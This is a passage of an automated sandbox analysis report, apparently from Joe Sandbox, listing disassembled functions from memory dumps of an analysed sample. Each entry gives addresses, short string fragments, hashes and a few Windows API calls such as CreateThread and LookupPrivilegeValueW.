Instruction ID: 42b596284187f0d646407ecea2310f6e7951f39020ea599467b081a2e8ee34d2
Opcode Fuzzy Hash: baef2008601620994343d475f78c2aa7bad03a3f5167b0244cdb6633b4ba2cb1
Instruction Fuzzy Hash: 97918CB0A50206CFDB18CF68E5597EDBBB2EB89310F04C075D106AF6D4DB349986CBA1

Function 071219D0 Relevance: 7.9, Strings: 6, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4cfq, xrefs: 07121B02
4cfq, xrefs: 07121B6A
4cfq, xrefs: 07121B75
Hjq, xrefs: 07121D76
(jq, xrefs: 07121A53
4cfq, xrefs: 07121B0D

Memory Dump Source

Source File: 00000000.00000002.1787576932.0000000007120000.00000040.00000800.00020000.00000000.sdmp, Offset: 07120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7120000_file.jbxd

Similarity

API ID:
String ID: (jq$4cfq$4cfq$4cfq$4cfq$Hjq
API String ID: 0-735227273
Opcode ID: bf4642d9d73ac516af6bcab36c6cc0a5ec1399afc36d12efde788901a55a2ddd
Instruction ID: 9fdd052e6f3046ab7a17dcbb7b0885c2b9469dd92ffee1c9cf998f6765e65981
Opcode Fuzzy Hash: bf4642d9d73ac516af6bcab36c6cc0a5ec1399afc36d12efde788901a55a2ddd
Instruction Fuzzy Hash: D0E18375E00219DFCB14DFA9D444A9EBBF6FF89310F248169E805AB390DB31AD06DB90

Function 06104F10 Relevance: 7.7, Strings: 6, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hjq, xrefs: 06105057
xjq, xrefs: 06104F77
(jq, xrefs: 0610502B
Hjq, xrefs: 061050E5
xjq, xrefs: 06104FE8
Hjq, xrefs: 0610509E

Memory Dump Source

Source File: 00000000.00000002.1781457484.0000000006100000.00000040.00000800.00020000.00000000.sdmp, Offset: 06100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6100000_file.jbxd

Similarity

API ID:
String ID: (jq$Hjq$Hjq$Hjq$xjq$xjq
API String ID: 0-3666185082
Opcode ID: 31c166ba45e3c38a1ebcc33797d873b0ed579fa120b1db0116be8c4a8e63e1e3
Instruction ID: 9a0511b97117078bcb924ed1761ffead900d081a2fd6e841ad234b8f14d076d0
Opcode Fuzzy Hash: 31c166ba45e3c38a1ebcc33797d873b0ed579fa120b1db0116be8c4a8e63e1e3
Instruction Fuzzy Hash: 6D518AB1B006019FDBA9AF38C46456E7BA2FFC4300714896DD106DB794DF34AD06CBA6

Function 07B80F20 Relevance: 6.9, Strings: 5, Instructions: 677
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d_?, xrefs: 07B811FC
d_?, xrefs: 07B8121B
lr?, xrefs: 07B8127C
d_?, xrefs: 07B811DA
,jq, xrefs: 07B8129B

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: ,jq$d_?$d_?$d_?$lr?
API String ID: 0-1981264687
Opcode ID: 274dfc0c3e787fe267c1a6c8449fe92e8f859bef2a8521bb4297d11412f8cd91
Instruction ID: 01b60f828c97a350d4d6df26e1053641999b9aa54b31e01b3ebecf58a736c4ac
Opcode Fuzzy Hash: 274dfc0c3e787fe267c1a6c8449fe92e8f859bef2a8521bb4297d11412f8cd91
Instruction Fuzzy Hash: 305207B5A002298FDB64DF68C990BEDBBF6BB88300F1541D9E549EB351DA309D81CF61

Function 07B84A20 Relevance: 6.6, Strings: 5, Instructions: 360
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hjq, xrefs: 07B84BA1
(jq, xrefs: 07B84B49
8;?, xrefs: 07B84AC6
(jq, xrefs: 07B84B75
8;?, xrefs: 07B84A4F

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: (jq$(jq$8;?$8;?$Hjq
API String ID: 0-2306943362
Opcode ID: 750de5271036984454237995d6247bf5df2d5979797ed99e7709bab83b9547dc
Instruction ID: 9a70b6ff2d374fa9ac525ad6d24d071a5fc9e73c6cbc0b2b1bae77ce6c7a0006
Opcode Fuzzy Hash: 750de5271036984454237995d6247bf5df2d5979797ed99e7709bab83b9547dc
Instruction Fuzzy Hash: FDE12F74A00209DFCB54EFA4D59499EBBB2FF89300F158569E806AB365DF30EC46CB91

Function 07B80040 Relevance: 5.4, Strings: 4, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L2?, xrefs: 07B803F1
4'fq, xrefs: 07B803B9
4'fq, xrefs: 07B80339
4'fq, xrefs: 07B8025A

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$L2?
API String ID: 0-2494714826
Opcode ID: 332b6a5a04750db6edf6797f657d42c00400e8937dd501537af95d864b43d648
Instruction ID: 9bde8f31c689cc88af736f1924c106eeb1f99c5a471449f9e9aaac53e4b992ed
Opcode Fuzzy Hash: 332b6a5a04750db6edf6797f657d42c00400e8937dd501537af95d864b43d648
Instruction Fuzzy Hash: 5EF1E974A00219DFDB14EFA4D994A9DBBB6FF89300F158158E805AB3A5DB30EC46CF51

Function 071227F8 Relevance: 5.3, Strings: 4, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4cfq, xrefs: 07122A79
Hjq, xrefs: 071229D6
4cfq, xrefs: 0712298E
4cfq, xrefs: 07122A6E

Memory Dump Source

Source File: 00000000.00000002.1787576932.0000000007120000.00000040.00000800.00020000.00000000.sdmp, Offset: 07120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7120000_file.jbxd

Similarity

API ID:
String ID: 4cfq$4cfq$4cfq$Hjq
API String ID: 0-1401393346
Opcode ID: 0d540706057e5d7c18eb881f6d61f0855f7fdbe9c64b459ea303b91d03fdfc37
Instruction ID: 1806ed0c73856bd26ff0cbf71d1e1438495b703a193b85c8a656c81b61adb1a3
Opcode Fuzzy Hash: 0d540706057e5d7c18eb881f6d61f0855f7fdbe9c64b459ea303b91d03fdfc37
Instruction Fuzzy Hash: F2B1D271A1021A9FCB15CF64D8406AEB7F2FF89310F258569E905EB390EB31ED56CB90

Function 07B86078 Relevance: 4.0, Strings: 3, Instructions: 263
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

o?, xrefs: 07B861FA
o?, xrefs: 07B86186
(jq, xrefs: 07B8613F

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: (jq$o?$o?
API String ID: 0-807230049
Opcode ID: c8bd8f0f5b8de55dc0d8b4bfd9aead9436941e3e1eff12a30048c6fafa8ada79
Instruction ID: 88b94c203af7263550fef32b3dc92582998506b2fd6216cbe1743ea2f8bfd9aa
Opcode Fuzzy Hash: c8bd8f0f5b8de55dc0d8b4bfd9aead9436941e3e1eff12a30048c6fafa8ada79
Instruction Fuzzy Hash: ABA1D370B047068FCB55EF68C4909AEBBF6FF85300B5045AAD542CB366EB34AD06CB91

Function 060E1508 Relevance: 3.1, Strings: 2, Instructions: 597COMMON

Download Yara Rule

Strings

4'fq, xrefs: 060E1C64
4'fq, xrefs: 060E1C70

Memory Dump Source

Source File: 00000000.00000002.1781260624.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60e0000_file.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq
API String ID: 0-751858264
Opcode ID: 4746f7ad28a1611c1b598da1a7fdb8bc8654001f36890f10ffb21b2c48ec8c1b
Instruction ID: 303b1bd7af622e78348cfa4fc6810af79ca58893de58f7b6fc800bcd735662ab
Opcode Fuzzy Hash: 4746f7ad28a1611c1b598da1a7fdb8bc8654001f36890f10ffb21b2c48ec8c1b
Instruction Fuzzy Hash: 00024071FA013B8FDBE41779886423F2DD7ABC8A61B1445A9D607DB784DE348C4187E2

Function 07B84328 Relevance: 2.9, Strings: 2, Instructions: 437
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

lr?, xrefs: 07B8473C
lr?, xrefs: 07B8462B

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: lr?$lr?
API String ID: 0-4173962073
Opcode ID: 05ca5ef0cd4d80505cd0639e90037226a9f1c32f720a367e83e94cc2cb214eb1
Instruction ID: b8809bd91be972d30138907f26ae3c908f375d8154b947d8bae12a8e8760cfa3
Opcode Fuzzy Hash: 05ca5ef0cd4d80505cd0639e90037226a9f1c32f720a367e83e94cc2cb214eb1
Instruction Fuzzy Hash: 6412F674A002198FDB54EF68C894B9DB7B2BF89300F5585A8D54AAB365DF30ED85CF40

Function 0610DD60 Relevance: 2.7, Strings: 2, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(jq, xrefs: 0610DE66
Hjq, xrefs: 0610DEF5

Memory Dump Source

Source File: 00000000.00000002.1781457484.0000000006100000.00000040.00000800.00020000.00000000.sdmp, Offset: 06100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6100000_file.jbxd

Similarity

API ID:
String ID: (jq$Hjq
API String ID: 0-2151573235
Opcode ID: 330956490991af6ada89eefd01debdb24705d1d09e531b75f198318bae177968
Instruction ID: d7a727d18fc77fdbb23bf747f098b89b7fc03d27f61c7de753550406705c057e
Opcode Fuzzy Hash: 330956490991af6ada89eefd01debdb24705d1d09e531b75f198318bae177968
Instruction Fuzzy Hash: 71515834B0020A8FDB99AF69D45452EBBA2BFD9310725886CD546CB3A5CF35EC06CB91

Function 07B881C8 Relevance: 2.6, Strings: 2, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

o?, xrefs: 07B882A0
o?, xrefs: 07B88258

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: o?$o?
API String ID: 0-422932965
Opcode ID: 51a562af0543ad1f03fd1d36ef67fd4544060df647e0f65f045340787e39494f
Instruction ID: 607b18758fae46af821f37a564cd343ba4808f4bab61cfcdd587538fde0f94b1
Opcode Fuzzy Hash: 51a562af0543ad1f03fd1d36ef67fd4544060df647e0f65f045340787e39494f
Instruction Fuzzy Hash: 0F41CFB1B00B158FCBA4EB7CD55029ABBF1FF84310B4088AED15AC7A50DB30E941CB81

Function 07B85E08 Relevance: 2.5, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ho?, xrefs: 07B85E3E
Ho?, xrefs: 07B85E32

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: Ho?$Ho?
API String ID: 0-4223951942
Opcode ID: 58d99441667c8c499990ae45e40e1464a7d0077c0bcbdbe1e646d08a4e83143c
Instruction ID: f1e09dd7adfe8427c42f5e51b939b031bc4cd9d474af4a3b8cc91283a61192ac
Opcode Fuzzy Hash: 58d99441667c8c499990ae45e40e1464a7d0077c0bcbdbe1e646d08a4e83143c
Instruction Fuzzy Hash: 8DF0A0B13047098BE73566B99C16B6A739AEF82256F1044FED609CB280EF72E811C780

Function 0610F360 Relevance: 1.8, Strings: 1, Instructions: 534
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(_fq, xrefs: 0610F5F0

Memory Dump Source

Source File: 00000000.00000002.1781457484.0000000006100000.00000040.00000800.00020000.00000000.sdmp, Offset: 06100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6100000_file.jbxd

Similarity

API ID:
String ID: (_fq
API String ID: 0-931642571
Opcode ID: c53d8706d82ed6ff9fb6ede7c08b21ec111dafb753e5601cc74866532024a5f6
Instruction ID: 1da2f372ab8ffd86706c517b6e486f3f3d99f9c6fb8c8e85b69747da18644115
Opcode Fuzzy Hash: c53d8706d82ed6ff9fb6ede7c08b21ec111dafb753e5601cc74866532024a5f6
Instruction Fuzzy Hash: C2228F75A002059FEB64DFA8D491AADB7B6FF88310F158069E905DB3A1CBB5EC41CB90

Function 0711D7D0 Relevance: 1.7, Strings: 1, Instructions: 453COMMON

Download Yara Rule

Strings

$fq, xrefs: 0711D866

Memory Dump Source

Source File: 00000000.00000002.1787448885.0000000007100000.00000040.00000800.00020000.00000000.sdmp, Offset: 07100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID: $fq
API String ID: 0-12477121
Opcode ID: 9f9464b7a97cde5a1a9a6442f85d069aef869db658fdfbbe365e8acb2c7d1b60
Instruction ID: 571587bfd2a02db60a1407a953257fd55489c22e6b63562cf89d9c7622c9a02a
Opcode Fuzzy Hash: 9f9464b7a97cde5a1a9a6442f85d069aef869db658fdfbbe365e8acb2c7d1b60
Instruction Fuzzy Hash: D70249B0B002098FDB15DF69E584A2A77F6AF89304B2584A9D54ACF3E1DB31EC81CB51

Function 06E078B0 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,?), ref: 06E080F6

Memory Dump Source

Source File: 00000000.00000002.1785630563.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e00000_file.jbxd

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 88dcee523e60f9ab6fcdb801492dff38deec08c5a2b3984fe81fa0112813874a
Instruction ID: 45b1745b193e628cc8c5ac64af5ee49e847255267c3aa426ef11cfebaacfcabd
Opcode Fuzzy Hash: 88dcee523e60f9ab6fcdb801492dff38deec08c5a2b3984fe81fa0112813874a
Instruction Fuzzy Hash: 5B2148B2C013099FDB50CF99D484BDEBBF4EF48310F14816AE818AB341D3759944CBA4

Function 06E09258 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(00000000,?,?,?), ref: 06E092E5

Memory Dump Source

Source File: 00000000.00000002.1785630563.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e00000_file.jbxd

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: dc347c7ff61998dd4196ecb5f2714f4b4e905849101902821f2684dc33a1b35d
Instruction ID: 97d734a2073c432c4473b8d4aff531cd6e86bf2140dff3afca5971b2be3ac37a
Opcode Fuzzy Hash: dc347c7ff61998dd4196ecb5f2714f4b4e905849101902821f2684dc33a1b35d
Instruction Fuzzy Hash: 613103B0D003589FDB10CF9AD985A9EBFF5AF48310F24905AE409AB391C774A940CFA0

Function 07B97249 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(?,?,?,?,?,?), ref: 07B972CA

Memory Dump Source

Source File: 00000000.00000002.1790401960.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b90000_file.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 7dd8ceb3f50c9b99fc72f83019d92588be3867118e3a2067054f737c7eed7f27
Instruction ID: fc06bf8366cdfda762ccb74ea119cc119c6e9b93f4cba3493fa36aafcdc216ce
Opcode Fuzzy Hash: 7dd8ceb3f50c9b99fc72f83019d92588be3867118e3a2067054f737c7eed7f27
Instruction Fuzzy Hash: 052137B19002499FDB10DFAAC845ADEFFF5FF58320F14842AE519A7210CB759940CFA1

Function 07B97250 Relevance: 1.6, APIs: 1, Instructions: 58threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(?,?,?,?,?,?), ref: 07B972CA

Memory Dump Source

Source File: 00000000.00000002.1790401960.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b90000_file.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: b4517cafba7a787580d4aee0501e77a37990d09d6d765e425b703bc819f52ad7
Instruction ID: 19008572ac62f19ef888927f477cc410d9233d84c7698c8ef537b29542334d95
Opcode Fuzzy Hash: b4517cafba7a787580d4aee0501e77a37990d09d6d765e425b703bc819f52ad7
Instruction Fuzzy Hash: 9B2138B1D002099FDB10DFAAC845ADEFBF5FF48320F14842AE519A7210CB75A940DFA5

Function 06E0A2E0 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetFileVersionInfoW.KERNELBASE(00000000,?,?,?), ref: 06E0A34E

Memory Dump Source

Source File: 00000000.00000002.1785630563.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e00000_file.jbxd

Similarity

API ID: FileInfoVersion
String ID:
API String ID: 2427832333-0
Opcode ID: 2ca09fe35f40b17667d495f59c2a015b6f8935ee1bfb743dca5c4f9fc8d756d7
Instruction ID: 4ce803597edb6496694901342258f63ffbb47758acc571cedf1a4562f356d8eb
Opcode Fuzzy Hash: 2ca09fe35f40b17667d495f59c2a015b6f8935ee1bfb743dca5c4f9fc8d756d7
Instruction Fuzzy Hash: 1D11D6B5C003499FDB10CF9AC984BEEBBF8EB48324F14842AD859A3641D379A544CFA5

Function 06E0A200 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.KERNELBASE(00000000), ref: 06E0A26D

Memory Dump Source

Source File: 00000000.00000002.1785630563.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e00000_file.jbxd

Similarity

API ID: FileInfoSizeVersion
String ID:
API String ID: 1661704012-0
Opcode ID: a67ab9b2173f86c28b74456f598a023508af5338d2403fa2f7446a942c27383c
Instruction ID: ee8a1ec6e94ab8179b5215b4bfe8760550990fdad602cf89bcd40441d7ffe18f
Opcode Fuzzy Hash: a67ab9b2173f86c28b74456f598a023508af5338d2403fa2f7446a942c27383c
Instruction Fuzzy Hash: 5B11D0B5C013098FDB10CF9AD984A9EFBF9FB88314F10842EE419B7240C375A544CBA5

Function 07116A78 Relevance: 1.5, Strings: 1, Instructions: 263COMMON

Download Yara Rule

Strings

Dmq, xrefs: 07116B13

Memory Dump Source

Source File: 00000000.00000002.1787448885.0000000007100000.00000040.00000800.00020000.00000000.sdmp, Offset: 07100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID: Dmq
API String ID: 0-4031372824
Opcode ID: 9740d6f44917a46c390822cc0c4b6a404bb8a911e67d14bf7a54a7eb040be89c
Instruction ID: ea7b0f524cb6025d37d4dd92b08a63e43ee17c227b11e8a0af4883ce1b03adbd
Opcode Fuzzy Hash: 9740d6f44917a46c390822cc0c4b6a404bb8a911e67d14bf7a54a7eb040be89c
Instruction Fuzzy Hash: ADA1ADB46002159FCB14DF68D594A5ABBF6FF89310F258169E406DB3A1DF31EC41CB91

Function 07B80006 Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

4'fq, xrefs: 07B8025A

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: 5dda21a3a18926c01d72850935bd6b9b9b957a5cb8918c00b115b38cc1a3c19e
Instruction ID: a1db1923780805eecb64058ac4ae4283aa0d5cdeee6a17750458be10226069a1
Opcode Fuzzy Hash: 5dda21a3a18926c01d72850935bd6b9b9b957a5cb8918c00b115b38cc1a3c19e
Instruction Fuzzy Hash: B5B11074A10219DFCB04EFA4D994A9DBBB6FF89300F158159E805AB365DB30EC46CF91

Function 07123818 Relevance: 1.5, Strings: 1, Instructions: 229COMMON

Download Yara Rule

Strings

(jq, xrefs: 071238CF

Memory Dump Source

Source File: 00000000.00000002.1787576932.0000000007120000.00000040.00000800.00020000.00000000.sdmp, Offset: 07120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7120000_file.jbxd

Similarity

API ID:
String ID: (jq
API String ID: 0-3225323518
Opcode ID: 1b397b6c7619d2fb3dfb61c4b6913607ea7d4a7b079dc80f03e342ce72f592d7
Instruction ID: 914dcb1f614c2166d1c2e45414c68ff8aa27329383cc04c95ecdc36c3c214105
Opcode Fuzzy Hash: 1b397b6c7619d2fb3dfb61c4b6913607ea7d4a7b079dc80f03e342ce72f592d7
Instruction Fuzzy Hash: 5E71CF71B002568FCB59DF69D8549AEBBE7AFC5710B148569E902DB390CF34AC038BA1

Function 06109BA8 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

pjq, xrefs: 06109C58

Memory Dump Source

Source File: 00000000.00000002.1781457484.0000000006100000.00000040.00000800.00020000.00000000.sdmp, Offset: 06100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6100000_file.jbxd

Similarity

API ID:
String ID: pjq
API String ID: 0-551751012
Opcode ID: d85a3eb70cbcb8a85d6c0ec0353618624911f8e19d364a24f7d984e74e0efae0
Instruction ID: c3c2df2983277e309ac5bf9caa1b5690a679700c664eb84f59c5e28a496872bc
Opcode Fuzzy Hash: d85a3eb70cbcb8a85d6c0ec0353618624911f8e19d364a24f7d984e74e0efae0
Instruction Fuzzy Hash: 47517E76600104AFCB459FA9D914D6ABFF6FF8D3147158498E2498B3B2CB32CC11EB51

Function 07B840E8 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

4'fq, xrefs: 07B84122

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: 4e66928faab9c81905579f45467e60969b73bc35e72ce21b8d44f7fc1e980ddd
Instruction ID: f3e080545e65b1c406412dd6a04a4bec766764d72acf647b0d92cfc32f4e5192
Opcode Fuzzy Hash: 4e66928faab9c81905579f45467e60969b73bc35e72ce21b8d44f7fc1e980ddd
Instruction Fuzzy Hash: EB416A70B106158FDB04BB68D8A4A6EB7ABEFC8700F109469E506DB3A4DF749C06DB91

Function 0610ABC8 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

(jq, xrefs: 0610ABDC

Memory Dump Source

Source File: 00000000.00000002.1781457484.0000000006100000.00000040.00000800.00020000.00000000.sdmp, Offset: 06100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6100000_file.jbxd

Similarity

API ID:
String ID: (jq
API String ID: 0-3225323518
Opcode ID: 01af6d3ad0af1dca97b0b3c86d99fad3e4d39e402330435c72175ce2294cb550
Instruction ID: 2af10ee8d529044a17324bba83dc8ae664422df6690e318ae7afc1ab357ffb45
Opcode Fuzzy Hash: 01af6d3ad0af1dca97b0b3c86d99fad3e4d39e402330435c72175ce2294cb550
Instruction Fuzzy Hash: D841AE34A0061A8FDB11DF68C484A6AFBB1FF89320F168695D5659B382D730FC51CBD1

Function 07B836E0 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

4'fq, xrefs: 07B83797

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: 025d9a6446291124e9993bea92699e616ccc3d73ca2afd8ca465c99097164a68
Instruction ID: 16004a22de80b8185a3fc7fe5a1db64065309c588d20d4a671661e803e1fbd2a
Opcode Fuzzy Hash: 025d9a6446291124e9993bea92699e616ccc3d73ca2afd8ca465c99097164a68
Instruction Fuzzy Hash: 1F413DB57406119FD3489B79C4A4F2B77E6AFC9B10F1044A8E20ACB3A1DE75EC42CB91

Function 07B836F0 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

4'fq, xrefs: 07B83797

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: f9faf32d39844546410cf61791296ea0d27c218dfd79b2c9a5565b73ea9d806a
Instruction ID: 8d41f9da9eea94b8dcb0f6107be2b0b61c327dee0b7bd234692089cf37002e02
Opcode Fuzzy Hash: f9faf32d39844546410cf61791296ea0d27c218dfd79b2c9a5565b73ea9d806a
Instruction Fuzzy Hash: A8312FB53006119FD348DB69D4A4F2B77EAABCCB10F104468E60ACB3A1DE75EC41CB91

Function 09E6F820 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

4'fq, xrefs: 09E6F859

Memory Dump Source

Source File: 00000000.00000002.1823945069.0000000009E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e50000_file.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: dcc44fdbf56f65e862e205d41cf4b2143f0330ecee974232ac99ef97715da96b
Instruction ID: 979d33346fe5c5c6daa93f08151031fac2ea10810a9d816e05d8aae34e72d2f4
Opcode Fuzzy Hash: dcc44fdbf56f65e862e205d41cf4b2143f0330ecee974232ac99ef97715da96b
Instruction Fuzzy Hash: 982160367001059FCF149FA4D89899A7BBAFF89310F0540A9E60A9B361DA36DC16DB91

Function 07B840E2 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

4'fq, xrefs: 07B84122

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: d1e9e25bbaabd212892b7bd3ee569e15bd33189de36fed3a4431ac411f4f5910
Instruction ID: 6eeefcad9919212ddb6719145ce3ed51e990ae8c8acf23bfc436fb08ce0d71d7
Opcode Fuzzy Hash: d1e9e25bbaabd212892b7bd3ee569e15bd33189de36fed3a4431ac411f4f5910
Instruction Fuzzy Hash: EB21A0B0B502569BDB58BF68D864A7EBAABEFC8700F10406DD006EB394DF708C05DB81

Function 0610E6C0 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<fq, xrefs: 0610E6FA

Memory Dump Source

Source File: 00000000.00000002.1781457484.0000000006100000.00000040.00000800.00020000.00000000.sdmp, Offset: 06100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6100000_file.jbxd

Similarity

API ID:
String ID: p<fq
API String ID: 0-1940909823
Opcode ID: e635466c3c94a87606677b0a4534eba57219bef0cf6d001b99182a514e5ff031
Instruction ID: 0f975f3cda95b99ea7c460ce7db0908d9b53ea98b05770ec56058113c59bf74b
Opcode Fuzzy Hash: e635466c3c94a87606677b0a4534eba57219bef0cf6d001b99182a514e5ff031
Instruction Fuzzy Hash: 25214C703041949FDF45CF2AD840AAA7BEAAF8A214F054495FD55CB3A1CB75EC50DB60

Function 07B83221 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

A, xrefs: 07B83221

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3513242655
